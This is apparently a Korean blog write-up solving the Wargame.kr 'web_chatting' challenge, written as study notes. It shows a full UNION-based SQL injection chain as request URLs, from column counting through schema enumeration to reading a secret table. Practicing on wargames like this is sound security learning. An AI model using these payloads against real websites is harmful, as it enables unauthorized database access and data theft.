Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 web_chatting 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보면 간단한 SQL Injection 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


간단한 SQL Injection 문제라고 나옵니다.

나머지 설명은 문제에서 딱히 도움이 안 되는 것이기 때문에 패스하겠습니다.

여기서는 딱히 보여주는 것이 별로 없었습니다. 바로 문제풀이로 들어가겠습니다.


 

 문제 풀이


Fiddler로 여기저기 찔러본 결과 chatview.php를 불러올 때 GET 형태의 패킷으로 SQL Injection이 가능한 것을 확인했습니다.


일단 먼저 ni 부분에 값이 38419가 아니라 1을 작성하게 되면 다음과 같은 결과가 나타나게 됩니다.


그러면 여기에 적절히 38419(채팅 값이 별로 없는 녀석)을 이용하여 문제를 풀어보도록 하겠습니다.


Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20order%20by%205%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 order by 5 -- 


order by 5까지 하면 정상적이지만 order by 6을 하게 되면 아무런 값이 나타나지 않습니다.

이는 Error가 발생하여 반환되는 것이 없기 때문이라고 짐작할 수 있습니다.


그러면 이제 컬럼 개수가 5개라는 것을 알 수 있으니, 어디에 값이 나오는지 살펴보도록 합시다.

Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201,2,3,4,5%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,2,3,4,5 -- 

보아하니, 2와 3으로 값을 알아낼 수 있을 것 같습니다.


이제 information_schema에서 table_schema와 table_name을 알아보도록 합시다.

Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201%2Ctable_schema%2Ctable_name%2C4%2C5%20from%20information_schema.tables%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,table_schema,table_name,4,5 from information_schema.tables -- 


web_chatting이라는 table_schema(DB)에 chat_log와 chat_log_secret이라는 테이블이 있는 것을 볼 수 있었습니다.

일단 테이블의 내용을 살펴보도록 해야겠습니다.


Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201%2Ctable_name%2Ccolumn_name%2C4%2C5%20from%20information_schema.columns%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,table_name,column_name,4,5 from information_schema.columns -- 

보아하니 chat_log_secret의 readme가 좀 수상해보입니다.

Query(quote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419%20union%20select%201%2C2%2Creadme%2C4%2C5%20from%20web_chatting.chat_log_secret%20--%20

Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,2,readme,4,5 from web_chatting.chat_log_secret -- 

답이 나오게 됩니당



+ Recent posts